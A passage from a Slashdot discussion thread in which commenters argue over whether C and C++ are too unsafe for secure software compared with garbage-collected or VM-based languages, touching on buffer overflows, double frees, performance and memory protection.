    That may be true, but I think your argument is bogus. We're talking about programmers developing their own code, here. Any code you write, in any language, is potentially at risk from other code it links to that you did not write. It doesn't matter whether it's a C library, the .NET or Java run-time stuff, a flaw in your Python interpreter or a bug in your OS's memory management. The only way to avoid this is to sandbox everything you link to in some way, and the performance penalties associated with that are non-trivial.

    Plus, I don't think that STL has decent unicode support. Wstring is not enough. Unicode has a bunch of semantics that are built-into the string classes of languages like Python and Java.

    What are the problems you see with it? C++ string handling certainly sucks at times, as anyone who's tried to write an internationalised application can tell you, but what mysterious bunches of semantics are you thinking of here?

    --
    If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  131. bah humbug by dh003i · · Score: 2, Informative

    This is a bunch of hogwash. This guy sounds more like a MS rep than a security-focus programmer. Because RAM and CPU is so cheap now and so powerful, it doesn't matter if we write crappy bloated code? That's such bullshit. Consider that writing crappy bloated slow code in fact reduces system stability, by adding to CPU and RAM strain. Just as a security breach can result in data-loss, so can a system or program crash.

    And, if this author not know, not everyone is buying the latest 2GHz CPUs. For most people's needs, a 100MHz PC is still fine and dandy -- that is, unless fuckwits like him and the genius' at MS continue to make ever-more bloated and slow code.

    And why is RAM-usage so important, even with typical PC's having 256MB of RAM? Well, apparently this guy is still stuck in the good old one-program-at-a-time days. People run many programs concurrently -- the more resources each one takes up, the less happy the user is, because that means everything is slower overall, and may even mean the system has to switch over to virtual memory.

    And why is it that we always get complacent jackasses like this always assuming that speed, memory-usage, stability, and security are always inversely related to one-another? They aren't. For the most part, writing smaller faster code isn't necessarily going to make the program less secure, nor is writing more secure stable code going to make it perform worse. There a *few* specific cases where there are trade-offs: in those cases, it's up to the programmer to decide what's best based on his target audience. If he's targetting home-users, a little bit of security can be sacraficed for increased performance. If he's targetting business users, a little bit of performance can be sacraficed for security. Stability is always a priority.

    Alas, I'm sick of hearing "this programming language (C) is faster than that one (Perl), and assembly is faster than them all". Programming languages aren't "fast". Assembly allows a programmer to produce very highly optimized, fast, code. However, poor assembly will run much worse than C compiled with GCC. Comparing C to other languages, C programs tend to be faster because C allows for more direct control and compilers have had more time to be optimized. I doubt other languages will ever catch up to C in that regard, but a crappily written C program will still be beaten by a well-written Perl programmer (personally, I suggest Objective-C, because it provides OO with only a few additions to C).

  132. On Paper by pyrrho · · Score: 1

    Gee, I've heard this argument for so many years... why have I never seen a VM pull it off?

    Recompiling code while it's running doesn't actually strike me as the way to build the fasted code.

    But I could be convinced. But not by paper.

    The biggest area where Java still loses is startup time and memory consumption. It's not the fault of the VM if the applications programmed in the language suck. I mean, yeah, most Java apps are dog slow. But when you look at their source code, it's often a horrible mess with people doing non-buffered IO, creating millions of temporary objects every second that cause major garbage collection overheads, etc. It has given the VM a much worse reputation than is warranted.


    which just goes to show you: the idea that the VM would free you from worrying about the machine is a fantasy, in reality, you just have a new machine to worry about, the VM, and further, if you design your optimization to take into account how the VM works, then some other VM won't work that way. You end up having to know the internals of your abstraction, defeating the whole point.

    Unless, <evil pinkie\>, the point was to slow down machines to drive new hardware sales!

    --

    -pyrrho

    1. Re:On Paper by macpeep · · Score: 1

      "Gee, I've heard this argument for so many years... why have I never seen a VM pull it off?"

      I have. Like I think I said in my previous post, it's certainly possible, but it's not what you see in most cases. I've demonstrated to co-workers how a prime-number seeking app with the exact same source code (just enough mods to make it compile on Java vs. C) performed slightly better with the Hotspot VM than with a compiled C app. It's quite easy to set up a similar test yourself and just try it out. Even if you dont see Java outperforming C yourself, you'll certainly see it coming VERY close.

      And yes. I'm quite aware that in real life situations, it doesn't usually go like this. I was merely pointing out that the statement wasn't as ridiculous as the reply was making it sound.

  133. Re:Safe != interpreted, and 'cracking' JVM irrelev by pyrrho · · Score: 1

    I think the most dangerous over confidence at the moment is the Java, scripting, and VM backers.

    They seem to think their language is doing things for them, so they don't have to worry.

    At least over confident C/C++ programmers KNOW THEY HAVE TO BE CAREFUL, they just feel up to the task.

    That's far less dangerous (even though some are mistaken in their abilities, I suppose) than a whole area of work where the engineers and the PHB think you don't need a skill to enjoy it.

    --

    -pyrrho

  134. Re:Safe != interpreted, and 'cracking' JVM irrelev by pyrrho · · Score: 1

    You don't feel that C/C++ handles where the memory is stored in RAM?

    Pardon?!

    Fact is, it does handle that.

    The big conflict is that it allows you to dive into those issues if you need to. This freedom must not be allowed, I'm told. Over. And Over.

    C++ is arbitrarily "high level", imnsho.

    --

    -pyrrho

  135. Re:Safe != interpreted, and 'cracking' JVM irrelev by Tom7 · · Score: 1

    > They seem to think their language is doing things for them, so they don't have to worry.

    But if their language does in fact do things for them (like make buffer overflows unexploitable, make double frees or integer overflows impossible, etc.), then what's so bad about not worrying about those things? Not having to worry about irrelevant things gives you time to worry about things that do matter.

    > At least over confident C/C++ programmers KNOW THEY HAVE TO BE CAREFUL, they just feel up to the task.

    Though they know they have to be careful, they still repeat the same mistakes over and over. Right?

    I don't really understand how you can claim that that's "far less dangerous" than not worrying about things that are taken care of for you.

  136. 'Freedom' to be low-level is not the whole story.. by Tom7 · · Score: 1


    > The big conflict is that it allows you to dive into those issues if you need to. This freedom must not be allowed, I'm told.
    > Over. And Over.

    Freedom is something good. But C++ does not give you just freedom. The problem with C++ is that it makes it too easy to accidentally, er, exercise this freedom, by doing things like overflowing a buffer (suddenly it matters where your memory is laid out), overflowing integers (suddenly it matters that your computer is 32-bit two's-complement), double-deleting a pointer (suddenly the details of the new/delete implementation matter). But, these kinds of issues *should not matter* to most applications. That's the problem with C++ -- not only does it tempt users to use the low level features because they are so accessible and familiar, but easy to make accidents expose low-level details that both lead to non-portable, buggy code, and worse, exploitable security holes.

  137. Re:You can, but it's hard, and why would you want by Tom7 · · Score: 1

    > qmail and djbdns have no security bugs and they are written in C. How do you explain that?

    Well, it's true that they have no known buffer overflow-style bugs--brute force can occasionally work. But this is still not a glowing review for C. Where do I get my C web server, browser, ssh server/client, etc. that have no exploitable holes in them?

  138. No!! by Tom7 · · Score: 1

    W-R-O-N-G, electrum, and this is exactly the kind of thinking that gets programmers in trouble. One of the biggest problems for writers of pointer-based programs (and indeed, compilers for pointer-based languages!) is aliases, which is when two pointers point to the same location. Setting one of those to zero will not help you with the other. Aliasing is not an easy problem to solve once you commit to a language with pointers; there are whole conferences on alias analysis.

  139. References rather than pointers by Fzz · · Score: 1
    I disagree. It's far too easy to have multiple pointers pointing to the same data, and lose track of who is supposed to free it.

    In C++, the best way to avoid double-free problems is to pass references rather than pointers whereever possible. If you receive a reference as a parameter, it's totally obvious you're not expected to free it.

    -Fzz

  140. Re:You can, but it's hard, and why would you want by Tom7 · · Score: 1

    Even if you do assign null to the pointer, there may be other copies of that pointer around. (Copies of pointers are made, for instance, when you simply pass them to a function. The original poster's code has that very bug -- though it sets the pointer passed to mfree to 0, the code that called mfree doesn't have its pointer changed.) This is how double-frees happen, and it's NOT rare.

  141. Re:This just in! by smallpaul · · Score: 1

    That may be true, but I think your argument is bogus. We're talking about programmers developing their own code, here. Any code you write, in any language, is potentially at risk from other code it links to that you did not write.

    The point is you end up spending a non-trivial amount of your time and effort doing string type conversions. The idea that the STL is a "defacto standard" is just wrong. Maybe it will be one day.

    What are the problems you see with it? C++ string handling certainly sucks at times, as anyone who's tried to write an internationalised application can tell you, but what mysterious bunches of semantics are you thinking of here?

    I'll leave the answer to this question to the experts:

    http://oss.software.ibm.com/icu/apiref/classUnic odeString.html#_details

    "UnicodeString is a string class that stores Unicode characters directly and provides similar functionality as the Java String and StringBuffer classes."..."UnicodeString combines elements of both the Java String and StringBuffer classes. Many UnicodeString functions are named and work similar to Java String methods but modify the object (UnicodeString is "mutable")."

    So there you go. Yet another "defacto standard" string class to convert to.

  142. Re:Your sig (OT) by mrtroy · · Score: 1

    Good call and thanks for the rebuttle.

    It is actually a SHORTENED version of the Jack Handy quote due to sig lengths, but Jack Handy nonetheless.

    The whole quote is:
    I can picture in my mind a world without war, a world without hate. And I can picture us attacking that world, because they'd never expect it.


    Other sweet ones are:
    "I remember that one fateful day when Coach took me aside. I knew what was coming. "You don't have to tell me," I said. "I'm off the team, aren't I?" "Well," said Coach, "you never were really ON the team. You made that uniform you're wearing out of rags and towels, and your helmet is a toy space helmet. You show up at practice and then either steal the ball and make us chase you to get it back, or you try to tackle people at inappropriate times." It was all true what he was saying. And yet, I thought something is brewing inside the head of this Coach. He sees something in me, some kind of raw talent that he can mold. But that's when I felt the handcuffs go on. "

    "He was a cowboy, mister, and he loved the land. He loved it so much he made a woman out of dirt and married her. But when he kissed her, she disintegrated. Later, at the funeral, when the preacher said, "Dust to dust," some people laughed, and the cowboy shot them. At his hanging, he told the others, "I'll be waiting for you in heaven--with a gun." "

    "To me, it's a good idea to always carry two sacks of something when you walk around. That way, if anybody says, "Hey, can you give me a hand?" You can say, "Sorry, got these sacks." "

    "Tonight, when we were eating dinner, Marta said something that really knocked me for a loop. She said, "I love carrots." "Good," I said as I gritted my teeth real hard. "Then maybe you and carrots would like to go into the bedroom and have sex!" They didn't, but maybe they will sometime, and I can watch. "

    "When the chairman introduced the guest speaker as a former illegal alien, I got up from my chair and yelled, "What's the matter, no jobs on Mars?" When no one laughed, I was real embarrassed. I don't think people should make you feel that way. "

    --
    [I can picture a world without war, without hate. I can picture us attacking that world, because they'd never expect it]
  143. Re:You can, but it's hard, and why would you want by Tom7 · · Score: 1

    Mr. AC,

    Still, if you want to be a pissent little holier than though Slashdot poster, then go right ahead.

    extern __inline__ void mfree(void *x){
    if(x!=NULL){
    free(x);
    (unsigned long)*x=NULL;
    }
    }


    Are you still kidding?

    (1) Your code is still functionally wrong. You free the pointer passed in, then write NULL into where that pointer points? Not to mention that you can't dereference a null pointer. I suppose what you mean is:

    void mfree(void ** x) {
    free(*x);
    *x = 0;
    } ... which would then be called like ...

    char * s = malloc(100);
    mfree(&s);

    (2) Of course, this still doesn't solve the problem of double frees. Programmers don't typically just go around freeing the same memory twice in the same function -- they accidentally free two *aliases* to the same memory. Just so we're concrete, your code (by which I mean my 'corrected' version) doesn't prevent a double free here:

    char * s = malloc(100);
    char * y = s;
    mfree(&s);
    mfree(&y);

    Preventing double frees *requires* a more sophisticated memory management scheme, like garbage collection.

  144. Re:Safe != interpreted, and 'cracking' JVM irrelev by pyrrho · · Score: 1

    >then what's so bad about not worrying about those things?

    (1) what is the cost? Is the application consuming 10x the resources such as memory?

    (2) does it really solve the problem? e.g. Java's memory management, you still have memory management problems and bugs which are for all intents and purposes memory leaks, but you give up the ability to address these problems (unless you use your own VM).

    >
    Though they know they have to be careful, they still repeat the same mistakes over and over. Right?

    no. I don't think they do. I think we are learning from our mistakes.

    And if they want to do something to make it easier, then they encapsulate their solution in a class. Instead of the solution being, "use the magic bullet", it's "stop shooting yourself in the foot" and C++ classes are there exactly for this purpose.

    The advantage is such solutions can be optimal. In spite of claims to the contrary, I don't think a VM approach could ever be optimal.

    Frankly if I really believed that these bugs were the most pernicious, took the most develper time, AND that VM's and scripting languages really were faster to develop in, of course I'd be all for it.

    It's more like a Fountain of Youth, however, imnsho. I.e. and attractive promise, nothing more.

    --

    -pyrrho

  145. The Languages by Anonymous Coward · · Score: 0

    When functions like strcpy are a part of the ANSI standard for a language and open the door wide for vulnerabilities then yes the fault is in the language.

  146. Re:'Freedom' to be low-level is not the whole stor by pyrrho · · Score: 1

    Well, when using Java rather than finding that I've suddenly been saved the trouble of doing things I already know how to do, I find that I'm powerless.

    I needed to tell the garbage collector to collect right now, not later when I'm making another query, but right now, because since the object was part of a connection, the garbage collector caused problems when I had already created a new connection. The new connection was already allocated, according to the Java source code it was a second, totally separate, object. But because of connection pooling, I found it was not really a new object, but what partially reused, and when the previous object was cleaned, it caused problems with the new object (loss of connection mid-query).

    According to the Java source, this was a different object altogether.

    But since in Java I "don't care" where the memory is really coming from, the JDBC implementation could play whatever game it wanted and give me reused components. Java saves me from having to say when to delete, and prevents me from getting to say when to delete. I lose power and gain nothing.

    OH, I fixed it... by setting the appropriate references to null at the appropriate time. But a different VM might break my solution, it was not based on the Java syntax, but on the peculiarities of the VM I was using. In C++ I'm sure I would have been able to dig deeper for a work around that would continue to work (that has been my experience), but in Java I had to leave it on the precipice to break again with an updated VM or different JDBC driver.

    This sort of thing sucks, and it's endemic to hand-holding and treating-like-a-baby. Never in my life, in code or without, have I ever seen a system that protected people for their own good that didn't royally screw those that could protect themselves. Ok, if we are talking about railings for the tourists hiking in Yosemite, I guess I don't mind. But when we are talking about a skilled proffession that is a life long endeavor of learning and solution building... I want tools to build with. I want a fricking nail gun, I'll be safe where I point it.

    What really gets me is that C++ has the best of both worlds. Any of these issues can and have been solved in C++ and probably nicely wrapped in a stable class system.

    If you use a class to manage your memory, you can have all the same protections, and automagical garbage collection, etc. etc.

    In fact, garbage collecting memory management schemes have been available for C++ (and C) in various forms for a long long while.

    The general reason they are not used more is that the machine really cannot efficiently do that job. You know more about your use of memory, and what the semantic relationships are, than the compiler or the VM.

    If a garbage collection is invented that really lives up to the promise, it will be available in C++, all without building a whole language around something that hasn't really arrives and may never arrive.

    I've worked with many Java based systems now and I'm not noticing the code is easier or less buggy, at all, not even with respect to the misuse of memory. Especially considering that I could leave 1K a second and still have days and days before my C++ applications reaches the memory consumption a similar Java processes STARTS out consuming.

    btw: as for these buffer overflows, etc. You can write malloc and free such that they watch for this sort of thing. It just costs a few bytes per allocation and some processing power. Debug libraries often do this already. If you do that, it's still more efficient than the VM approach.

    It all reminds me of when I thought Applesoft Basic was the bees knees, it was good enough for anything... it ruled, other languages were just not nec. But then again, I was 13, it only lasted a few months... I grew up.

    Which brings me to another theorem about craftsmanship. Powerful tools can be dangerous. Safe tools tend to be impotent.

    I believe scripting languages ar

    --

    -pyrrho

  147. Poor article by pkplex · · Score: 1

    From the article:

    "Why do we still see these bugs?

    In no small part, it's because programmers aren't using appropriate tools. In an age where processing power is cheap, there's no excuse for a mail client written in C or C++."

    I dont think this guy "Jon Lasser" guy is quite with it. C and C++ does exactly what it is told to, and it does it quickly. Its up to the programmer to make their code proper.

    Perhaps the article should read "Too sloppy for secure code?" or "Too busy for secure code?"

    I dont think his idea of using another language as a replacement for being lazy or informed is going to work too well.

  148. A different approach will work better by kbielefe · · Score: 1

    If I understand buffer overflow vulnerabilities correctly, they could be almost completely prevented if the computer architecture prevented execution from data areas and required special instructions to modify memory in executable areas. I think other kinds of vulnerabilities could be prevented with similar architectural changes, or perhaps even just changes in an OS kernel. Obviously I haven't thought this completely through, but surely research in this direction would produce more truly secure computers than initiatives like palladium.

    --
    This space intentionally left blank.
  149. Re:Safe != interpreted, and 'cracking' JVM irrelev by alienmole · · Score: 1
    The facts are against your argument - where are all the remote attacks on Java servers, for example? Haven't seen many of those reported. Are you sure you understand the degree of safety a language like Java (or Lisp or ML etc.) provides?

    It's not a question of "abilities" - you're making the exact "macho" mistake the article talked about. People make mistakes. There've been exploitable holes, which are only possible because of C, in software written by some of the smartest programmers around.

    Do people in cars without airbags or safety belts drive more carefully because of it? Maybe some do, but does that result in lower deaths or injury rates for those people? No. Same basic issue.

    Perhaps a better analogy would be to say that a really good high-wire artist doesn't need a net. But that's only true until the first time he makes a mistake. It's not a question of 'if', just 'when'. Scale that up to large numbers of C/C++ programmers, and you have today's software industry - where falling off the high wire and going splat into the unforgiving concrete of an 0wn3d box is par for the course.

  150. OpenBSD's stack protection does this... by voodoo1man · · Score: 1
    and it's not as good an idea as you think. What it does is unfairly penalize dynamic programs (Lisp, Java, and several others (including believe it or not Ada)) in favor of supporting a broken programming paradigm from the 70s. Von Neumann left out the distinction between data and instructions in his EDVAC report for a good reason - the two are the same.

    Specifically, on the architectures that support it, OpenBSD enforces write or execute permissions on memory. It is still entirely possible to run self-modyfying and dynamic programs, but now every time you need to perform either write or execute you must speficially make a call to switch that memory's permissions. Needless to say, this is not the end-all security solution, and ultimately ends up breaking a lot of things.

    I think this goes way beyond just program correctness as a means of security (what used to be OpenBSD's stated goal), and is on the whole a bad thing. A much more sensible approach is to run untrusted applications in their own VMs, and write as much software as possible in languages that can guarantee correctness (this pretty much only means languages that automagically manage memory - C programs using Boehm's conservative GC and safe string functions and such fit this bill).

    --

    In the great CONS chain of life, you can either be the CAR or be in the CDR.

  151. Re:Safe != interpreted, and 'cracking' JVM irrelev by pyrrho · · Score: 1

    (1) yes, I understand the kinds of safety that Java promises, do you understand that this is not the only or even main kind of bug one finds with systems?

    (2) I am not being macho about it because I am agreeing that higher level abstractions need to be used to ensure there is a safety net... I'm just also pointing out that these higher level abstractions are available in C++ and do not require a VM level, at all. Further the VM imposed it's own limitations and problems, so it does not compare favorably to other high level solutions.

    (3) It's not so much like seat belts... I would say that C++ is already a seat belt compared to the basic starting point of machine language. It's more like Air Bags, which have the great advantage of saving drunk drivers that drive head on into a tree, but also have a way of decapitating children during fender benders, or taking someone's legs off because they unwisely put their feet on the dash while waiting for their spouse to come out of a store.

    See, I think that the people traveling over 60 MPH should take the risk, and being still in a parking lot ought to be risk free.

    When I am working as a professional developer, I can prepare my safety standards, use the abstractions that avoid common mistakes.

    I'm waiting for the argument that these problems cannot be addressed in C++ with class systems.

    Instead mostly I hear about how there is not one solution forced on all C++ developers, as if that's a bad thing! If Java really has The One Full Solution To End All Solutions, of course it'd be great! But can such a thing exist? I'm not holding my breath while it gets implemented, and I certainly have yet to see such a thing.

    --

    -pyrrho

  152. I wish there was an easy solution... by Anonymous Coward · · Score: 2, Interesting

    I'm just not convinced that recompiling under the tools Mr. Lasser mentioned are going to fix the problems with C/C++.

    Look, the big issue for about 75% of all programmers in the world is that the whole institution of computer programming is based around the idea of "Think how the program can crash itself" and not "think what can someone can do to intentionally bust your program". Now we've got literally millions of programs with trillions of lines of code between them, and all of them have some part where the coder(s) had to implement something that *just worked* instead of something that was particularly well thought-out.

    Look at the list of vulnerabilities in common software and you see problems with string formatting and buffer overflows in input in places where, frankly, the programmers never believed that someone would poke around.

    I'd say that the only way to force people not to force the boundaries of allowable input is to only provide a fixed list of choices, drop-down text box style. Except that's just about useless for much, if not most, tasks we need our machines to handle.

    I also believe that when we're learning to program, we get almost zero education on how to do bounds checking.

    Have you ever asked a univeristy professor about bufer overflows? You usualy get a blank stare and some comment about how that would probably crash the program. Only a few really consider that there are real consequences to crashing a program.

    The funny thing is, if you think about it, a program's natural state is crashed. Everything line of code basicly props the program up so it can continue on and do something else.

    What are we going to do? Rewrite *everything*? This makes y2k look like pretty small potatoes.

    Personally, I'd say that the big problem isn't programming languages that allow us access to low-level services but that the operating systems that we know and love and use all the time are written with the idea that programs are to be trusted at some level. It's possible to run a program with root priv. because that priv. level exists at all. Why not use systems that don't even have the concept of root?

    We don't because a) they would (and are) amazingly tough to get any real work done on and b) they're slow or at least have the perception of being slow and c) none of the super-secure operating systems have been written as something you can game and write documents and all the other things we use computers for.

    As far as being "macho", yeah, I've had long discussions with C programmers who are pretty "macho" about their ability to manage memory by hand. Those conversations usually end with me saying, "but most people use aplications" and the programmer saying "applications are for weenies." So I'm not suprised Mr. Lasser claims a high level of ego in programmers as a whole.

  153. Re:HLL's are NOT a substitute for secure programmi by Anonymous Coward · · Score: 0

    Natural bussiness evolution says that.
    The bottom line of all this is that *if* you could pass the responsibility of being secure, expert and professional to the language (or the VM, or whatever) you could employee trained monkies to do the accounting programs instead of highly qualified professionals.

    And, on the other hand, really tough problems are already there, just waiting for you to go there. Ten years of "fighting" C/C++ system code will make you the champion or "macho" needed to deal with them, while those problem just won't be affordable by a high level languages baby-sitted programers.

    Please, note that this is *already* true: most critical systems are still based on work from the late seventies, when men were men and programmed their own drivers. What these men did twenty-more years ago can't be repeated nowadys by a programmer population higher by orders of magnitude, with incridebly more powerful machines and tools. Just tell me why!

  154. What utter crap ... by TheGrayArea · · Score: 1

    This is total flamebait, and I'm sure the guy is enjoying it. For instance, how does he says "*nix guys want to be as close to the metal as possible" but if that were true then how does he explain the success of perl, python, etc?

    --

    This space for rent.
  155. peer review is not the silver bullet by Anonymous Coward · · Score: 1, Interesting

    Peer review has been doing little good. It is a mission critical application used ubiquitously yet it has such a major flaw that you can steal the server's private key. Maybe you say, it's the age of the program. Look at sendmail, it's 20 years old and we're still getting critical exploit security bulletins for it. Not to mention EVERYONE uses sendmail, it's widely reviewed, and anciently deployed.

    No, it is not peer review, widespread use, open source, full disclosure. It is engineering that gives security. Proper process, proper technique. We have eyes, but they are blind and dumb.

    1. Re:peer review is not the silver bullet by Anonymous Coward · · Score: 0

      Have you ever used qmail? Or apache? Or protftpd? Or Postgres? Or etc etc etc.. Peer review is used on projects that matter and it works, as for sendmail it works there too. The bugs and holes are being reported. It's full of holes because it sucks and was designed in a shitty way.. same thing goes for bind. The reason they are still used is simply because people either don't want to learn something new or for compatibility. Also that simple fact is they have been around for quite sometime it's hard to justify switching all of your dns shit over to a relatively new program on the block like djbdns without testing and having a good reason. "Oh umm there are alot of security holes in bind but it's been patched" isn't gonna make for change.

      I agree it's not peer review. nor widespread use, open source or full disclosure alone.. it's all of these processes working together plus the proper engineering that gives security. We have eyes, and believe it or not they are used infact that's how Qmail came into existance.

  156. Transferring the responsibility by The+Monster · · Score: 1
    Tell me what my mail client should be written in? Java? C#?
    If I write code 'close to the metal', then it's up to me to take care not to introduce insecurities into it. If there is a known exploit in a library, I can use a patched library, or even use a different function call that doesn't need to be patched. But it's my responsibility to know the vulnerability is there.

    If I write in Java, it's no longer only my code that is involved. The JRE itself can be exploited, and I have no control over that at all.

    --

    [100% ISO 646 Compliant]
    SVM, ERGO MONSTRO.

  157. Re:One of the larger problems with non-compiled co by Anonymous Coward · · Score: 0

    Perl is a bitch to transport if you use anything beyond the core libraries. It is unproductive to ignore the CPAN libraries. And it is impractical and constraining to target a specific server build.

    There is help! An par. This archives most or all of the libraries into one executable. The perl development kit (by active state), also provides this.

    I recently delivered a project which uses perhaps 25 custom libraries and 5 non-standard ones. Using perlapp, everyhing bundles into one neat executable. Impressive.

  158. I'd disagree by Trepidity · · Score: 1

    On most platforms, assembly is not in practice faster than higher-level languages. If, for example, you were to actually manage to write an office suite in assembly, in addition to being wholly unmaintainable, it'd likely run slower than the higher-level version. This is because once things get to a certain size, the compiler is simply better at optimizing than the human is. A human can't scan millions of lines of code per second for redundancies and optimizations, and isn't good at judging on the fly which optimizations are worth doing and which aren't. This grows increasingly true as you get into fairly complex architectures features, like filling branch delay slots on the SPARC or ordering instructions for the IA64's pipelining.

    This is also increasingly true of using higher-level languages than C. C may allow simple things to go faster, but higher-level languages often allow complex programs to be faster on the whole because they provide guarantees that allow for optimizations a C compiler can't make (that C allows pointer arithmetic and arbitrarily-aliased pointers is a big problem for optimizers, for example). To take a trivial example, consider the following two ways of traversing an integer array:

    1. for(int x = 0; x < length; x++) foo(array[x]);
    2. for(int *x = array; x < array + length; x++) foo(x);

    (1. uses indexing and 2. uses pointer arithmetic). Most C programmers would prefer the second, considering it "more efficient." The idea is that since you're walking through the array you keep adding sizeof(int) instead of starting at the beginning and adding an offset each time. This is especially true, it's claimed, if you access the value multiple times each iteration: instead of computing the offset to array[x] each time, you have a direct pointer to it that you just dereference. And this all used to be true. However, most (though not all) of the time, with modern C compilers 1. will actually be faster, because it allows the compiler to do some neat optimizations that it can't do with 2.

    1. Re:I'd disagree by vovin · · Score: 1

      Two quick notes:

      1 and 2 aren't equivalent, because in 2 you are passing a pointer. I assume it should be foo(*x) and in 1 you are passing an element of array.
      Also the int in the for loop is, of course, a C++ idiom.

      Any C programmer using 2. is guilty of two things.
      - Writting ugly code.
      - Premature optimization.
      Both of which are grounds for the Foam Clue Bat of Death.

    2. Re:I'd disagree by Tony-A · · Score: 1

      Premature optimization
      Methinks the subroutine call uses more cycles than either form of loop.
      If the total time is small enough, it doesn't matter which form is used.
      If the total time is too much, the difference is not enough gain. You might gain enough from (foo(loop(foo-stuff)) as opposed to (loop(foo(foo-stuff)).

  159. depends on what you mean by "fast" by Trepidity · · Score: 1

    If you mean that it is in theory possible to write faster programs in C than in higher-level languages, or that it is possible in theory to write faster programs in assembler than C, then you are correct. However, that's not really interesting, since in many cases it's not feasible (perhaps just on this side of impossible). A compiler can simply optimize large blocks of code better than you can, so for sufficiently large apps, the C version will almost always be faster than the assembler version, because it can find neat optimizations you didn't think of. Already many C compilers ignore the 'register' keyword, because they know they can do a better job allocating registers than you can. Similarly, garbage-collected languages are becoming competitive performance-wise with explicit memory management, because they can just keep track of huge numbers of allocations better than the programmer can, and exploit redundancies and opportunities for optimization across non-local areas of code.

    1. Re:depends on what you mean by "fast" by ajs · · Score: 1

      I understand your points, and I did take them all into account in my original post.

      A compiler can simply optimize large blocks of code better than you can

      Yes, and no. It can optimize a large block of code better within the constraints of the language.

      A great example of this is C vs aseembly. You say:

      so for sufficiently large apps, the C version will almost always be faster than the assembler version, because it can find neat optimizations you didn't think of

      You are talking about optimization, and that's cool. I'm not. I'm talking about abstraction. The job of a language includes making certain performance trade-off considerations in favor of development flexibility and maintainability (among other, lesser goals like re-usability, etc)

      When a language makes those choices, it's kind of counter-productive to then allow you to violate them. Thus, C imposes scoping, typing, etc. These features all come with performance penalties, but they make writing and maintaining code easier. It's possible to optmize away scoping in a great many cases, but not all (e.g. you can inline, flatten scopes, etc). Ultimately the assembly programmer is going to make *casual* choices which are more optimal because he's looking at the code. It's not a matter of optimization, but of context.

      Already many C compilers ignore the 'register' keyword, because they know they can do a better job allocating registers than you can.

      That's not at all why they ignore that keyword, and I'm stunned that you think that! The reason that they ignore the keyword is because it's nearly useless except for a handful of architectures. I assure you that if C provided a sophisticated, portable interface to register selection, it would be a boon for program execution everywhere.

      The problem in C is that you can only turn on or off a boolean bit, "is this stored in a register". Since the compiler has access to knowledge about the platform it is capable of dealing with virtual registers and register-banks in ways that that simple boolean keyword cannot.

      This has absolutely no bearing on the assembly programmer who will be managing those registers to a degree that even C cannot match because it doesn't know what your code execution profile is likely to look like (there are optmizers in the world that re-optimize your program based on profiler output, but they tend to be of limited value because even analyzing profiler output is frought with dangers that only hard AI can tackle).

      Please understand here, that I'm not some cranky old man pining for the days of VAX assembly. I'm nto saying that you *want* to write everything in C or even assembly. I'm saying that deluding yourself into thinking that a high-level language like Python, Scheme, Perl, LISP, etc, etc will ever have the performance of a low-level language is pointless. It simply cannot happen until compilers are smart enough to throw away what you wrote, reverse-engineer a set of requirements and re-write it in a lower-level language.

      These high-level languages WILL get better. They will get faster as compiler technology progresses, but given the same access to hardware instructions, and hardware that isn't specially designed for one or another high-level language, you will always tend to write less abstract code, and therefor more optimal performing code, in a lower level language.

      Go find example programs whose performance characteristics in C vs Java, Smalltalk or any other higher-level language disprove that. Even C++ that looks just like C has to deal with exceptions, dynamic scoping and type conversion that C does not, and the compiler cannot always know if/when those will come into play! It gets worse once you go up to Java where native hardware types get virtualized and have behaviors that are convinient, but costly. Worse still when you go up into LISP where data is code, and both are run-time modifiable.

      But, in each of these cases there are significant improvements in the level of detail which the programmer must manage. You take the performance hit because you gain in other ways.

  160. Why did he mention the OpenSSL timing attack ? by Anonymous Coward · · Score: 0

    Huh, if extreme programming or any other programming method would have fixed that bug, I'll eat my shoe.

  161. Re:Safe != interpreted, and 'cracking' JVM irrelev by alienmole · · Score: 1
    To your point (1), we're not talking about bugs in general, we're talking about security problems. Historically, by far the majority of security exploits have been due to C issues like buffer overflows and pointer dereferencing.

    You seem to be taking this as language evangelism. I'm not promoting Java, I could care less. I've written more C and C++ code than I have Java. The issue of language safety vs. non-safety is not C vs. Java. It's "unsafe languages bad, safe languages better". You can't argue "unsafe languages OK", because both history and logic are against you.

    If you're arguing that Java specifically is not the safe language you want to move to, that's fine with me. But don't confuse the shortcomings of Java with all safe languages. If you want to see safe languages that provide really high performance and very advanced features, take a look at ML, or OCaml, or Scheme.

  162. Basically another.... by rocket_w · · Score: 1

    ...self-proclaimed security expert giving us his opinion. No suggestions to resolve the issue, no recommendations, nada. Probably someone who never has actually written large chunks of code, or been part of a large program's development team. And more or less, he has no real point. Hey IT guy, quit trying to developers how to do their job until you can do it better!

    --
    ----- "It's all fun and games 'til somebody puts an eye out, then it's just funny."
  163. Re:You can, but it's hard, and why would you want by Anonymous Coward · · Score: 0

    Saying "C is bad" or "don't use C because people have made mistakes with it" is narrow-minded and stupid. Use what works for you. Unless it's PHP, in which case you need help, quick.

    Uh oh! That sounds narrow minded and stupid!

    Unless you were trying to be funny, of course, but it doesn't sound like it to me.

  164. Re:Safe != interpreted, and 'cracking' JVM irrelev by Tom7 · · Score: 1


    > (1) what is the cost? Is the application consuming 10x the resources such as memory?

    Java running in a JIT is a memory hog, but that's not because it's a safe language, it's because it's a VM language. SML is not slow nor a memory hog. I hear natively-compiled Java is also pretty efficient, though I don't use it myself. The cost of safety alone is no more than the checks that C programmers already tell themselves they need to add to their code -- and often less because they are inserted and optimized by the compiler.

    > (2) does it really solve the problem? e.g. Java's memory management, you still have memory management problems and bugs which
    > are for all intents and purposes memory leaks, but you give up the ability to address these problems (unless you use your
    > own VM).

    It solves the security holes, yes. I've seldom personally been in a situation where the GC didn't do the right thing, but in those cases it was possible (easy, even) to code my own memory management. What do you have in mind?

    Again, safety is not the same as running in a virtual machine! There are many languages which offer native compilation and safety. It's really too bad that Java is the one with the biggest corporation backing it (well, maybe C# is now), because it gives many people the impression that they need to pay all those costs in order to have its benefits that don't relate to binary portability. Slashdot folks, especially, should shop around a bit more than that!

  165. Re:'Freedom' to be low-level is not the whole stor by Tom7 · · Score: 1

    > If a garbage collection is invented that really lives up to the promise, it will be available in C++, all without building a
    > whole language around something that hasn't really arrives and may never arrive.

    I doubt that it will end up in C++. How can you do copying garbage collection in C++? You can't, because you can't tell what's a pointer and what's an integer that just happens to be in pointer range. In fact, you can't even do *correct* garbage collection because of C++'s pointer arithmetic -- you can have a pointer that is some offset from an object you care about, and then have that object collected out from under you.

